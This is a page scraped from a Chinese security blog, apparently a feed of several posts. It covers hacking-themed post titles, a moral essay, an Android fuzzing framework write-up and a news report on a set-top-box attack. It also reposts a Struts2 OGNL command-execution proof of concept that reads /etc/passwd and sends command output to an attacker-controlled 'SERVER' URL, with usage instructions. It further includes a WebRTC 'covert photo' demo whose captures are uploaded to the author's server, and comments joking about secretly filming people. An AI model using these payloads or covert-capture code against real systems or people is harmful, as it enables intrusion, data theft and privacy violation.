全方位在互联网中保护自己第五章（国产软件或后门软件的替代品(中)）
全方位在互联网中保护自己第四章（国产软件或后门软件的替代品(上)）
全方位在互联网中保护自己第二章(知识普及篇第二章-了解网监的实力与暗箭(上))
求黑产大牛目测，一位妹纸的亲身经历，身份证号+手机号洗你银行卡
如何用意念获取附近美女的手机号码，伪装免费CMCC信号，钓鱼妹子手机号码
银行卡里钱莫名其妙被转走了，有身份证号码、姓名、银行卡号就能提款？
在申诉中猜想QQ密码可能明文储存，讨论腾讯申诉“历史密码”机制
注意，日站的时候请清理cookie或使用虚拟机，否则可被cookie追踪
现在傻逼太多，骗人太好骗，淘宝搜剑灵激活码，好多10几块钱的骗子
“联通3G无限 流量卡”淘宝上这种无限流量的卡可信度有多少？
为抓小偷 俄警方在地铁安装能读取乘客手机信息的设备，这是啥技术？
一种巨猥琐的挂马方法、超淫荡的APT攻击思路：如果这么挂马会不会挂进内网
(视频）USRP 来 Sniffing 无线键盘，27Mhz keyboard sniffing
腾讯泄露隐私？看卫士哥获得女神的好友的名单，社工可能认识的人！
全面披露华硕十款无线路由器 - AiCloud启用单位的多个漏洞
分享下自己使用的保护方法篇章二（虚拟机模板环境设置） 连载中...
分享下自己使用的保护方法篇章一（虚拟机代理中转服务器设置）连载中...
分享下自己使用的保护方法篇章一（虚拟机代理中转服务器设置） 连载中...
超级短信DDOS 女生一天收上万条10086短信 还有近50万条等着她
R820T电视棒+软件无线电跟踪飞机飞行轨迹（SDR&ADS-B）
rtl-sdr,RTL2832+E4k tuner电视棒跟踪飞机轨迹 ADS-B/TCAS/SSR
rtl-sdr,RTL2832电视棒跟踪飞机轨迹教程(ADS-B), SDR GPS 飞机追踪
视频: Dtac：将宠物变成了WiFi热点，泰国运营商将宠物变成WiFi热点
户外物理设备入侵之：入侵并“调教”中控指纹语音考勤系统(打卡机)
上来吐个槽，再次侦破一宗牵扯到全国多个大型医疗集团的恶性案件！
再次遭遇 GoTop 挂机刷钱“病毒”，逆向爆菊，追踪背后“牧马人”
GNU Radio USRP OpenBTS 小区短信 区域短信
一种牛逼的短信群发技术 GNU Radio 小区短信 区域短信 免费发 无法拦截
【传奇】看职业骗子如何揭发谷歌广告服务的不法活动，谷歌5亿美元和解费
如何抵御社工库类的黑客攻击？在明文密码已泄露的情况下保护自己？
上海伊莱美医院被黑、黑帽SEO做淘宝客，核总深入追查，揪出内鬼！
360对你真的起作用了吗？bypass....分析支付宝网银木马，反爆菊花
周末湖边 Sniffing ADS-B，Hack 私人小型机场
淘宝又见好东西，低价格钓鱼几个倒霉蛋骗到手大额的款项，跑路、关店
核总霸气分析“天津丽人女子医院”主站被黑、挂淘宝客、黑帽SEO全过程！
中国电信ADSL宽带信息泄露,可查任意IP对应的宽带账号,电话号码,上门砍人
追查黑客姓名,邮箱,支付宝信息，惊现大规模僵尸网络，要求警方介入处理！
服务器被入侵之后，反爆1433抓鸡黑客菊花，并公布大量黑阔账号密码
公告：关于前两天本站无法打开的原因 + GFW拦截规则原理剖析
Base64 格式的密文，Base64 方式的 MD5 密匙，一些编码知识
Inception能入侵全盘加密的计算机，修改物理机器内存/任意密码进入
android 延迟锁定bug，安卓手机锁破解，屏幕解锁保护
android软件外加监控，隐私安全？！爆个一键root内幕！
关于X卧底的通话监听、短信记录、定位追踪等侵犯隐私的行为讨论
远程入侵QQ好友所在网吧监控系统，人脸识别、定位坐标，定点打击
追踪PlugX Rat作者，人肉定向攻击远控PlugX开发者
dSploit—Android网络渗透套件测试小记（含视频）
实时抓取移动设备上的通信包(ADVsock2pipe+Wireshark+nc+tcpdump)
武汉公安开发尖端人像识别系统 可瞬间辨认嫌疑人 全国摄像头寻人
可能的拦截HTTPS加密通信的手段 破解Google Gmail的https新思路
视频:神奇的读心大师 网上有你的整个人生 利用社工+人肉来做神棍……
视频:神奇的读心大师 网上有你的整个人生 利用社工+人肉来做神棍……
Flightradar24 网站“直播”天上“堵飞机” 看全球实时航班
《魔兽世界》截屏数据水印惊现用户私人数据 截图隐藏水印 暗含玩家信息
简单分析一个通过 js 劫持进行黑帽 SEO 做淘宝客的案例
iPhone 短信欺骗漏洞攻击器、伪造短信号码工具、伪装发件人攻击器
Never trust SMS: iOS text spoofing，永远不要相信短信：iOS的文字欺骗
iPhone 短信欺骗漏洞披露，伪造短信号码、自定义短信手机号
找出 GFW 在 Internet 的位置、追踪 GFW 在互联网中的位置
德安全专家破解GSM加密算法 GSM网络破解 监听全球40亿部手机
非法获取百度推广账号 实施网络诈骗 篡改百度推广 市民被骗财
黑客在Defcon建立私人电话网络 - DEFCON 忍者 GSM 网络
【需翻墙】网监如何爆菊？网警是如何通过层层VPN加密代理找到你的！
善用网站权限设置 莫让社交变“裸奔” 社交网络诱人沉迷 病态的自恋
802.11b 无线网络固件级攻击、802.11b Firmware-Level Attacks
如何加载 VMware Workstation v8.0.1 加密过的虚拟磁盘文件(vmdk)
手机全息投影、初音、Miku、立体投影，制作方法已放出，图文+视频
刷下“拉卡拉”卡里2万多块钱丢了，复制银行卡，POS机、刷卡黑客
华裔黑客 BITcrash44 凭借一台 iPhone4 拿下时代广场大屏幕
视频：国外黑客利用一部诺基亚N95手机入侵火车站电子屏，并且现场直播
利用电磁波进行入侵、原子级的黑客入侵、利用电磁波毁坏物理设备
电信诈骗，电话营销，一响挂电话，推销平安、人寿保险，冒充朋友
电视机会收到邻居游戏机画面？小霸王信号干扰？红白机功率这么强悍？
任何一种装机量巨大的软件，都有政府监控模块，我们应该如何保护自己？
Mydecms 贤诚文章管理系统泄露数据库账号、密码、库名漏洞
惊爆“17岁少女黑客 fly”高清无码裸照！！这下你真的火了！！！
用 js 实现本地 md4、md5、sha1 加密表单并提交
视频:鬼佬的室内四轴定位系统，震惊，飞机模型能玩到如此地步！
目前我认为是2011密码泄露事件最合理、最符合实际的一个解释
Tabnapping 浏览器标签劫持 用假冒浏览器标签进行钓鱼攻击
用黑客方式找回失窃的电脑 - GSM基站定位 - Wifi热点定位
不要偷黑客的东西 - Why you don't steal from a hacker
【分析】腾讯独立域名QQ空间被钓鱼，腾讯官网被黑，被植入钓鱼页面！
国内各类 WebShell 密码大全 爆破、社工用 webshell-password
VB Html编码、Html解码、Html加密、Html解密、Html转义字符
台两15岁少年开淫窟 骗12名少女为“爱”卖身 月进300万元
【公告】警惕名为:Nuclear'Atk. QQ:424244818 冒充本人的骗子黑客
索尼承认1000万信用卡资料遭盗窃 索尼PSN数据被黑激怒全球客户
DRDoS 反弹DDoS攻击 反弹DDoS攻击 力度远大于分布式DDOS攻击
1479_26C3.Karsten.Nohl.GSM.pdf
留言评论（旧系统）：
佚名 @ 2015-08-31 18:02:58
我只想说，真tm太装b了
本站回复：
-_-!!!
狼狼恶狗 @ 2015-09-23 09:03:57
大哥收徒弟不
本站回复：
不收~ -_-!!!
a83721 @ 2015-09-28 21:46:33
这个俺看懂，里面是来人感应自开的。
本站回复：
-_-!!!
- 博客 Nuclear'Atk（核攻击）网络安全实验室 2015-08-21 09:41:26
我们自己的每一次“没做好人”，都像迎风吐痰，都是给世界设下的一个圈套，这个圈套也许大也许小，但最终很可能重新套回到我身上。因为社会本身就是一个整体，这里面生存的每一个人，不分职业身份，无论贫富贵贱，大家共同织起一张网，也共同做这网里的鱼。
1、冰箱师傅、饭店老板
“我是个修冰箱的。前段时间一个小饭店的冰箱门关不上，我去给他们修好了。其实当时我就发现那个冰箱的制冷系统泄漏，制冷剂快要跑光了，但我没说，因为如果下次再去修的话，就能多拿三十块钱上门费。果然，没到一个月那台冰箱就不制冷了，他们又喊我去修，我不但多拿了三十块钱，还以五折的价钱从这家店买了些酱牛肉，赚了。”
“我是一家小饭店的小老板。现在的东西真靠不住，冰箱一个月坏了两次，大夏天的，里面的熟食都坏掉了，都是贵东西，我舍不得扔，让厨师重新煮了，用重料盖掉腐味，低价卖掉了。修冰箱的师傅买了一些，后来他打电话来说，全家吃了都拉肚子。我有点愧疚，当然也没有承认是我们的问题，吃都吃光了，他没凭没据的，到哪儿也说不清了。”
2、玩具厂老板，建筑工人，质监局领导
“我是个儿童玩具厂的小老板。不瞒您说，我们的玩具都是用回收的废塑料、生活垃圾、医疗垃圾做的，我当然知道这些二料含铅含贡含甲醛，会对孩子健康有害，但是现在生意这么难做，都用真材实料能赚几块钱？”
“我是个建桥的工人，这次找了个不错的活，别的工地一天一百二，这里给一百五。上班第一天我就明白了他们工钱高的原因——这是个豆腐渣工程，拿沙子充水泥，拿水泥充钢筋。别的工人不敢干都走了，我咬咬牙留了下来。儿子上个月查出白血病，我那点家底砸锅卖铁也不够他治病的，再不多赚点钱，就只能眼睁睁看着他恶化了。”
“我是个质监局的领导，上次查了一批玩具小作坊，一个小老板找到我老婆说情，又给我捎去两瓶五粮液，我就把他那批玩具放了。昨天他又被查到，我又帮了他个小忙。处理完事情后他请我吃饭，万没想到，饭后回家的路上，开车过新桥时，那桥居然说塌就塌了！我俩一起栽了下去，双双骨折，唉~”
3、医生，法官，校长，农民
“我是个医生。去年一家医疗器械厂来推广他们生产的心脏支架，回扣很高，我看了看，质量好像没什么问题，就用了。没想到丫给的居然是伪劣产品，才用了一例就出医疗事故了。”
“我是个法官。一个老朋友的医院出了医疗事故，来找了我好几次，看在多年情分上，我睁一眼闭一眼，在判决时没让他们担什么责任。”
“我是个重点中学的校长。每次开学时来报名的家长都打破头，这学期好不容易都定好了，一个法官的女儿又来加塞，这很难办。也真巧，偏偏有个学生上课辱骂老师，我们从重处理，把他开除了，这才倒出一个名额来给她。”
“我是个农民，去年拿出所有积蓄做了一次心脏搭桥手术，却被伪劣支架给坑了，医院没赔什么钱，家里就快弹尽粮绝了。之前满心指望孩子能有点出息，可这个不争气的东西却让学校开除回来了。我已经没有劳动能力，就干脆让他弃学在家侍弄大棚。这几天出菜花，他去喷杀虫剂。没想到这倒霉孩子不认识农药，居然稀里糊涂拿错了，还超量喷了上去。结果好些人吃了以后农药中毒，听说有医生，有法官，有校长... ...”
4、我是个上班族
“我是个上班族。昨天风好大，我在上班的路上打开车窗向外吐了口痰，居然被大风吹回到自己脸上，太倒霉了！”
... ...
不知道你信不信因果循环，善恶有报。反正我信。当然大多数时候，我都认为是别人在作恶，自己从来没有。我只是有时候做了顺水人情，有时候睁一眼闭一眼，有时候随便一抬手一放手——顶多只能说是没有摸着良心做好人。但见了很多事情以后，我好像明白了些什么。
——可能就是那么一随便，就有人倒霉了。而倒霉的那个人，可能就是整个社会第一张倒下的多米诺骨牌，他倒了，就全倒了。如果这个社会人人都倒霉，肯定也跑不了我。
我的每一次“没做好人”，都像迎风吐痰，都是给世界设下的一个圈套，这个圈套也许大也许小，但最终很可能重新套回到我身上。因为社会本身就是一个整体，这里面生存的每一个人，都肩并肩手挽手地联络在一起，不分职业身份，无论贫富贵贱，大家共同织起一张网，也共同做这网里的鱼。
所以现在我知道，如果自己不想倒霉，那就尽量不要让别人倒霉，如果我希望身边都是好人，那自己首先要做个好人。
因为做好人其实也是一个圈套，套来套去，总会把好运套到自己头上。
（文/李月亮）
留言评论（旧系统）：
佚名 @ 2015-08-23 00:25:43
请在这里填写留言内容，最长不超过 1000 字。
本站回复：
[暂无回复]
这是根本 @ 2015-08-23 09:22:29
人的本能而已，谁都会有欲望，国家想通过法律和道德来抑制欲望，其实然并卵。总之生存在这个世界上，没有规则限制的生存下去，迟早会自我毁灭的。任何人，以及任何生物。
本站回复：
欲望+1
zerovos @ 2015-08-24 09:00:09
我经常看你的更新，可是现在更新的不勤快了，有点偷懒哦，有点失望，该打屁屁，
本站回复：
最近比较忙，没有太多时间和精力去管理博客。-_-!!!
佚名 @ 2015-08-25 10:14:39
我经常看你的更新，可是现在更新的不勤快了，有点偷懒哦，有点失望，该打屁屁，
本站回复：
最近比较忙，没有太多时间和精力去管理博客。-_-!!!
佚名 @ 2015-08-25 17:48:32
我是看下验证问题的
本站回复：
-_-!!!
娃哈哈 @ 2015-08-26 21:11:42
我经常看你的更新，可是现在更新的不勤快了，有点偷懒哦，有点失望，该打屁屁，
本站回复：
-_-!!!
嘿嘿嘿 @ 2015-08-27 09:52:48
别说话 我硬了 含住
本站回复：
-_-!!!
daj8 @ 2015-08-29 23:04:29
请在这里填写留言内容，最长不超过 1000 字。
本站回复：
[暂无回复]
D @ 2015-08-30 23:30:53
可以转载吗
本站回复：
可以。
佚名 @ 2015-08-31 22:54:16
我可以转载么
本站回复：
可以。
佚名 @ 2015-09-01 11:14:42
好人有好报
本站回复：
-_-!!!
佚名 @ 2015-09-03 13:36:27
，，请问宇宙第一强国是？ 没法治了，这是个无敌的国家。 文章转走了昂
本站回复：
-_-!!!
佚名 @ 2015-09-19 22:11:18
我说我的网站这几天老被D 看样是找到原因了。。。
本站回复：
-_-!!!
狼狼恶狗 @ 2015-09-23 09:20:34
其实我想说，我想做坏人。但我没能力啊。。
本站回复：
-_-!!!
- 博客 Nuclear'Atk（核攻击）网络安全实验室 2015-08-13 14:07:29
本文首发www.droidsec.cn | 安卓安全中文站 转载请注明出处
0x01.MFFA简介
MFFA（项目地址：https://github.com/fuzzing/MFFA 作者Alexandru Blanda来自Intel）是一个基于Python开发的通过对Android平台多媒体文件解码功能进行模糊测试从而发现可能的安全漏洞的安全测试框架，主要原理是通过指定一些畸型但在结构上是有效的媒体文件发送到Android设备中的组件进行解码或者是播放，与此同时监测系统发生的一些可能导致可利用漏洞的潜在问题(如Crash)，最后对fuzzing结果进行自动整理过滤掉大部分重复问题和误报，研究者可以通过手工分析来确定最终的结果。 通过对此框架的分析，我们可以复现最近热门的Android Stagefright组件漏洞的挖掘方法，甚至可以对框架进行二次开发，用于Android系统0day挖掘，移动App客户端产品安全测试。
0x02.使用方法
（1）环境要求
支持Linux环境（修改后支持Mac/Win平台），Python 2.7及以上版本本，Android SDK工具包。同时需修改Android源码并重新编绎以启用Stagefright命令行界面工具。（可使用Genymotion中的Android4.1.1版模拟器代替）
（2）开始测试
python test.py stagefright <video|audio><play|noplay><index>
<video|audio>选择测试的文件是视频/音频类文件
<play|noplay>在音频测试中，选择是否启用播放功能以检测某可能的漏洞
<index>如果中途中止测试，指定断点处重新启动测试
（3）结果分类
python triage.py <SIGSEGV|SIGILL|SIGFPE|all><video|audio>
<SIGSEGV|SIGILL|SIGFPE|all>过滤的信号种类
<video|audio>测试的文件种类
0x03.原理分析
（1）目标
发掘那些能引起Crash，进程挂起，拒绝服务，缓存溢出，空指针引用错误，整数溢出的安全漏洞
（2）流程图
（3）测试数据生成
- Basic Fuzzing Framework (BFF)
- FuzzBox
- Radamsa
- American Fuzzy Lop (AFL) （推荐）
- Seed gathering （利用Google语法收集视频链接并下载/利用现成的视频文件库如http://samples.mplayerhq.hu/）
（4）Fuzzing测试流程
<1>后端布署服务器运行测试文件生成工具保存测试数据
<2>服务发送大量测试cases到本地主机
<3>主机自动分配测试文件到连接的Android设备上
<4>每个Android设备以分布式方式接收测试文件并分别记录结果
（5）结果整理模块
<1>第一次运行阶段
>在设备中运行测试case
>记录每次运行过程中创建的log日志
<2>分类阶段
>生成的日志被用于分析标记发生Crash的测试case
>重新测试发生了Crash的case
>之前没有检测到的Crash将存储在独立的issues pool
<3>筛选阶段
保存异常信息的目录主要位于data/tombstones和data/system/dropbox，通过分析这些日志可以定位相关存在问题的Native层so文件的问题代码大概位置。
1.解析log日志文件确认该case造成了Crash
2.重新发送文件以测试Infrastructure
3.对于发送的每个文件：
a.获取生成的tombstone文件
b.解析tombstone文件然后获取PC值
c.检测PC值是否之前遇到过
d.如果是新的PC寄存器值，保存相应的tombstone日志文件
4.最后每个issues保存在独立编号的文件夹
如下图是某次Crash日志截图， signal 11（ SIGSEGV）是在Linux信号中表示无效的内存引用，如下是存在问题的PC寄存器值及详情：
0x04关键代码
整个框架的实现其实比较简洁，关键代码都是使用python的subprocess模块实现子进程管理，获取从adb接口返回的管道信息。这里仅列出相关adb命令：
1.adb logat -c
在开始测试清除设备之前生成的logcat日志
2.adb logcat -v time *:F >logs/测试文件名+_stagefright+设备名
保存当前case运行过程中的log日志到指定文件夹
3.adb shell stagefright -s -a /data/Music/
adb shell stagefright -r /data/Movies/
调用stagefright的命令行工具对/data/Music文件夹的测试文件进行解码
-s参数是优先使用software软解码
-r参数是强制使用Hardware硬解码
-a参数表示解码的是audio音频文件
4.adb shell stagefright -p
列出当前的解码器配置
5.adb shell stagefright -l
列出当前的组件
6.adb push /batch/file1 /data/Music/
Push测试⽂件到设备指定目录
7.adb shell log -p F -t Stagefright -sp_stagefright ‘****”+当前任务序号+”- Filename:’”+
当前测试文件名
在测试设备的log日志中以指定格式插入一条log日志用于标识当前任务序号开始位置
8.adb pull /data/tombstones/tombstone_00+tombname
抓取发生异常的日志
0x05测试运用
1.在对ZIMPERIUM(Stagefright漏洞发现者所在公司)公布的POC视频进行测试后发现，所有测试视频都能被检测出存在问题。
2.使用框架的筛选功能
0x06二次开发
1.目标与用途：
打造高效智能的自动化Fuzzer工具，用于对Android系统自带组件，及种各种应用进行安全测试，以发掘潜在的安全漏洞。
2.案例：
对Android市场中的浏览器视频解码功能进行fuzzing测试发掘可能导致的crash，对Google ANDROID系统自带的短信应用进行fuzzing测试发掘可能导致远程拒绝服务的漏洞。
留言评论（旧系统）：
佚名 @ 2015-08-20 12:06:49
核总，求个邀请码 t0ols@qq.com
本站回复：
没有邀请码。
- 博客 Nuclear'Atk（核攻击）网络安全实验室 2015-08-10 15:19:07
Struts2命令执行POC增强版
Wulala (^..^ ^..^ ^↓^ ^..^ ^..^) | 2015-08-04 13:06
Struts2命令执行的漏洞大家比我都了解, 网上公开的也有很多利用的POC.
带回显命令执行:
${%23a%3d(new java.lang.ProcessBuilder(new java.lang.String[]{'cat','/etc/passwd'})).start(),%23b%3d%23a.getInputStream(),%23c%3dnew java.io.InputStreamReader(%23b),%23d%3dnew java.io.BufferedReader(%23c),%23e%3dnew char[50000],%23d.read(%23e),%23matt%3d%23context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse'),%23matt.setContentType(%27text/html%27),%23matt.getWriter().println(%23e),%23matt.getWriter().flush(),%23matt.getWriter().close()}但是在很多情况下,我们是无法获取通过浏览器打印回显的. 由于有这样的一个需求,对这个POC进行了简单的改造, 将命令执行结果远程打印:
具体利用场景可以参考: Bool型SSRF的思考与实践
POC.SSRF版
?redirect:${%23a%3d(new%20java.lang.ProcessBuilder(new%20java.lang.String[]{'command'})).start(),%23b%3d%23a.getInputStream(),%23c%3dnew%20java.io.InputStreamReader(%23b),%23d%3dnew%20java.io.BufferedReader(%23c),%23t%3d%23d.readLine(),%23u%3d"http://SERVER/result%3d".concat(%23t),%23http%3dnew%20java.net.URL(%23u).openConnection(),%23http.setRequestMethod("GET"),%23http.connect(),%23http.getInputStream()}使用说明:
1. 将SERVER替换为你的Web服务器
2. 执行POC,监控Web服务器access.log日志即可读取到结果
当然这里的SSRF只是一种利用场景, 我想这个POC的适用性会比原始的POC更加广泛.
当然将两个结合起来是更好的:
POC.命令回显+SSRF版
?redirect:${%23a%3d(new%20java.lang.ProcessBuilder(new%20java.lang.String[]{'command'})).start(),%23b%3d%23a.getInputStream(),%23c%3dnew%20java.io.InputStreamReader(%23b),%23d%3dnew%20java.io.BufferedReader(%23c),%23e%3dnew%20char[50000],%23d.read(%23e),%23t%3d%23d.readLine(),%23matt%3d%23context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse'),%23matt.setContentType(%27text/html%27),%23matt.getWriter().println(%23e),%23u%3d"http://SERVER/result%3d".concat(%23t),%23http%3dnew%20java.net.URL(%23u).openConnection(),%23http.setRequestMethod("GET"),%23http.connect(),%23http.getInputStream()}15#
Wulala (^..^ ^..^ ^↓^ ^..^ ^..^) | 2015-08-05 21:55
@我是壮丁 上面把最重要的说了,这里补充一点. 如果仅仅做检测可以通过下面的POC:
/action?action?redirect:http://SERVER/%25{3*4}
简单 高效 实用...
留言评论（旧系统）：
大鸡鸡 @ 2015-08-11 19:09:44
SSRF完全是画蛇添足。
本站回复：
-_-!!!
- 博客 Nuclear'Atk（核攻击）网络安全实验室 2015-08-10 15:04:39
利用HTML5新特性之WebRTC进行(tou)拍(pai)照
jeary ((:？办么怎，了多越来越法方象抽的我)) | 2015-08-05 19:09
很早以前就知道html5可以获取视频流和声音流，但是并没有深入实现，因为js渣。获取内网IP的倒是用过。
然后无聊翻了翻git，找到了利用webrtc获取视频流并拍照的Demo，改了一点代码，可以用来进行偷拍
WebRTCC功能：
WebRTC的视频部分，包含采集、编解码(I420/VP8)、加密、媒体文件、图像处理、显示、网络传输与流控(RTP/RTCP)等功能。
详细介绍请看百科：WebRTC
获取视频流Demo：
<html lang="zh-CN"> <head> <meta charset="UTF-8"> <title>GetUserMedia</title> </head> <body> <!--<video id="video"></video>--> <video id="video" autoplay></video> <img src="" id="img" ></img> <canvas style="display:none;" id="canvas" ></canvas> <!--<button onclick="cli()" value="test2">test</button>--> </body> <script type="text/javascript"> var canvas = document.getElementById('canvas'); var ctx = canvas.getContext('2d'); var video = document.getElementById('video'); var getUserMedia = (navigator.getUserMedia || navigator.webkitGetUserMedia || navigator.mozGetUserMedia || navigator.msGetUserMedia); getUserMedia.call(navigator, { video: true, audio: true }, function(localMediaStream) { video.src = window.URL.createObjectURL(localMediaStream); video.onloadedmetadata = function(e) { }; }, function(e) { console.log('Reeeejected!', e); }); //var video = document.getElementById('video'); var localMediaStream = null; function snapshot() { if (localMediaStream) { ctx.drawImage(video, 0, 0); document.getElementById('img').src = canvas.toDataURL('image/png'); } } function cli(){ alert(1); video.addEventListener('click', snapshot, false); } /*var video = document.getElementById('video'); var canvas = document.getElementById('canvas'); var ctx = canvas.getContext('2d'); var localMediaStream = null; function snapshot() { if (localMediaStream) { ctx.drawImage(video, 0, 0); document.getElementById('img').src = canvas.toDataURL('image/png'); } } video.addEventListener('click', snapshot, false); //不使用供应商前缀 navigator.getUserMedia({video: true}, function(stream) { video.src = window.URL.createObjectURL(stream); localMediaStream = stream; }, onFailSoHard); */ </script> </html>此Demo地址：http://jeary.org/webrtc/test.html
如果要拍照的话，可以将视频流转换成base64，然后利用img显示
偷拍Demo地址：http://jeary.org/webrtc/
请使用支持HTML5的浏览器打开（Firefox、Chrome...）
（PS0：手贱尝试允许访摄像头的，被拍请不要找我！）
（PS1：拍照 后图片会存储到服务器，不要问我存在哪。。）
至于是否可以绕过用户授权这一步骤直接进行偷拍..(这种神技还是请召唤伟大的二哥@gainover吧)
Just a fun！
各种吐槽：
1#
Mujj (为何我的眼中饱含泪水？因为我装逼装的深沉) | 2015-08-05 19:10
。。
2#
D＆G | 2015-08-05 19:11
nice
3#
随随意意 (WB出售1:15) | 2015-08-05 19:19
。。
4#
Aepl│恋爱 | 2015-08-05 19:41
5#
Aepl│恋爱 | 2015-08-05 19:43
幸好我没手贱 我老婆正在换衣服 哈
6#
金枪银矛小霸王 (:)) | 2015-08-05 19:59
我拍了好多张：)
7#
jeary ((:？办么怎，了多越来越法方象抽的我)) | 2015-08-05 21:02
后面挂着衣服的小伙伴是谁~还歪着头来了个微笑 @金枪银矛小霸王 是你吗？
8#
Jn· (小学生一枚,不服你TM别打我.) | 2015-08-05 21:03
前两天就在国外看到相同的demo
9#
浮萍 | 2015-08-05 21:11
有提示 问是否共享xxx
10#
huoji (<script>A</script>) | 2015-08-05 22:29
幸好我没手贱,,, 我正在换衣服 哈
11#
金枪银矛小霸王 (:)) | 2015-08-05 22:46
@jeary 不然。：）
12#
无敌L.t.H (……天百一爱恋考高：簿相色白产国) | 2015-08-05 23:29
弄个虚拟摄像头放个群众喜闻乐见的东西……
13#
柯腾 | 2015-08-06 01:34
求SAVA.PHP代码
14#
mramydnei | 2015-08-06 07:29
现在有支持这玩意儿的手机浏览器了么..？
感觉搞手机最high啊
15#
z@cx (日复一日，年复一年) | 2015-08-06 09:38
弄个朋友圈分享发给女神
16#
鬼见愁 | 2015-08-06 09:59
这个不错啊， 偷拍神器自动上传服务器吗
17#
鬼见愁 | 2015-08-06 09:59
笔记本用户 命中率百分99
18#
一只猿 (我是猴子派来的彩笔) | 2015-08-06 10:10
围观前端牛
19#
疯狗 (阅尽天下漏洞，心中自然无码。) | 2015-08-06 10:16
卧槽，我被偷拍了么……
20#
啊L川 (我想起那天下午夕阳下的奔跑,那是我逝去的青春...) | 2015-08-06 10:24
赶紧围观
21#
浩天 | 2015-08-06 10:31
XSS有新玩法了
22#
❤ (❤) | 2015-08-06 10:35
那天你叫我做实验原来是这个,还好没上当,要不被拍到果照就不好了...
23#
指尖上的故事 | 2015-08-06 10:56
有鸟用我分分钟写个这个玩意出来
24#
刘海哥 (moc.ghuil.www) | 2015-08-06 11:07
@指尖上的故事 人家是问，至于是否可以绕过用户授权这一步骤直接进行偷拍.
25#
安全小飞侠 (走自己的路，让别人无路可走) | 2015-08-06 12:20
@jeary 感觉挺好玩的
26#
only_admin (学生|未成年) | 2015-08-06 13:23
@jeary 手贱点了禁止，看不到允许后的效果了。如果允许，会显示拍到的图像吗
27#
x0ers (第一个知道牛奶能喝的人都对奶牛做了些什么？) | 2015-08-06 16:08
mark
28#
M4ster (Black || White) | 2015-08-06 16:16
http://hacktask.net/hacklab/WebRTC_Get_Photo/
29#
HackPanda | 2015-08-06 21:12
写了个存储在数据库的 链接: http://pan.baidu.com/s/1ntkVK0L 密码: eiyz
30#
毕月乌 (I am Jia Ma.) | 2015-08-06 22:10
直接禁用了WebRTC的表示毫无压力~
31#
Royal. | 2015-08-09 16:58
直接黑胶布贴在摄像头的路过。
32#
_Evil (科普是一种公益行为) | 2015-08-10 10:11
被你这么一说我就@下二哥 @gainover
33#
wefgod (求大牛指点) | 2015-08-10 12:02
谁传的1.php？
留言评论（旧系统）：
亻失夕口 @ 2015-08-26 03:58:26
爱玛，我和姘友讨论这个10号MM差点要打起来了，核公鸡你说说看到底她是张柏芝还是真就一只鸡？我姘友只有这二个选项，我我咋觉得她像拍过森莫广告的，太太口服液？哦对了，顺便代表2014年清朝的reservoirdev，com问候2015年8月发这个主题开灌的毅丝哈，都不知道你拿来当火星文还是什么的，产业链？明码标价2.99$ 啊，说的就是reservoirdev、com
本站回复：
不知所云~ -_-!!!
- 博客 Nuclear'Atk（核攻击）网络安全实验室 2015-08-10 14:52:19
8月3日，央视《焦点访谈》报道了一起黑客将反动信息通过技术手段直接植入用户机顶盒的网络安全案件，案件性质关系到国家安全。据报道，案件犯罪嫌疑人王一波系北京NDS公司工程师，因出于个人泄愤，在2014年8月1日晚间对46.5万台温州中广有线电视机顶盒实施攻击破坏，传播大量反动宣传图文，传播范围涉及15.98万户人家。
2015年7月15日，温州市中级人民法院作出终审判决，王一波因破坏计算机系统等罪名，被判处有期徒刑12年，剥夺政治权利2年。
央视报道如下：
说到网络遭到黑客攻击，网站瘫痪了、网页被篡改了，或者说是网络账号被盗，钱被偷了，这些事我们听说过甚至遇到过，它们都属于违法行为，情节严重的还可能会被追究刑事责任。我们今天要说的这件事，也是涉及网络安全的案件，它与我们熟悉的有线电视机顶盒相关，案件的性质关系到国家安全。
2014年8月1日晚上7点，在浙江温州，很多正在家中看电视的居民都被眼前的一幕惊呆了。在电视屏幕之上出现了大量反动宣传图文,传播范围涉及温州市鹿城区、龙湾区、瓯海区以及洞头县的15.98万户人家，一共46.5万台中广有线电视机顶盒遭受黑客攻击。
接到群众报警之后，温州市公安机关迅速组织警力赶往温州广播电视中心开展紧急处置。直至第二天凌晨6点多，才将机顶盒中的有害信息彻底消除。
据民警介绍，黑客将反动信息通过技术手段直接植入用户机顶盒，这是针对有线电视网络新型的攻击方式，此前从未出现过，其传播范围更广，社会危害性更大。
案发之后，当地迅速成立了由网警、刑侦等多部门组成的专案组全力侦破此案。要找出幕后黑手，专案组需要解决的第一个问题就是确定攻击到底来自广电系统内部还是外部，这样才能给案件侦破指清方向。
在温州广电中心，专案组在此前查封现场时发现，有两台服务器停止了运行。在排除黑客外部入侵的可能性之后，专案组将调查方向转向了这2台被毁掉的服务器之上，希望从这里找到黑客留下的蛛丝马迹。然而，黑客作案后所有数据和日志均被其设计的木马程序自动删除且无法恢复。
技术侦查一时间陷入了困局，然而专案组在人员排查上却找到了突破口。
据了解，NDS公司一直是温州中广有线的技术维护公司。专案组随即对NDS公司北京、深圳分部的40余名高管和技术人员全面开展调查，排查可疑线索。
经过大量走访调查，北京NDS公司工程师王一波进入了警方视野，他的特征与专案组此前刻画分析的犯罪嫌疑人特征较为吻合。首先，他具备作案必备技能，能够侵入被黑客攻击的系统。其次，由于长期未受重用，他曾多次流露出对公司和社会的不满，具备作案动机。
在王一波被专案组盯上之后，负责技术侦查的办案人员，也在被毁坏的服务器中发现了犯罪嫌疑人留下的蛛丝马迹。
办案民警锁定的犯罪嫌疑人就是王一波，然而他身在美国，一旦打草惊蛇，他很有可能滞留国外。为此，专案组必须秘密地推进各项调查工作。
终于，专案组收到消息，王一波将于8月16日回国，这是抓捕他的大好机会。2014年8月16日下午5点左右，刚刚走出北京首都国际机场的王一波便被专案组以协助调查的名义，顺利带至温州。
当晚，专案组立即开展了对王一波的审讯工作。但一开始专案组就碰到了很大的困难。由于王一波拒不交代，案件难以最终告破。关键时刻，民警们及时调整了审讯策略，不再直接讯问案子的事情，转而跟他谈人生，谈他的工作，民警们逐渐获得了王一波的信任。
在对王一波审讯期间，恰逢其儿子12周岁生日，专案组为王一波及其妻儿安排了生日聚会，并代王一波为儿子准备了一份生日礼物，这些都让王一波深受触动。
2014年8月18日，被抓捕两天之后，王一波最终承认，其出于个人泄愤，对温州中广有线电视网络实施攻击破坏，至此这一案件最终得以告破。
因为泄愤，王一波一手毁掉了幸福的家庭，还有自己的人生，他后悔不已。
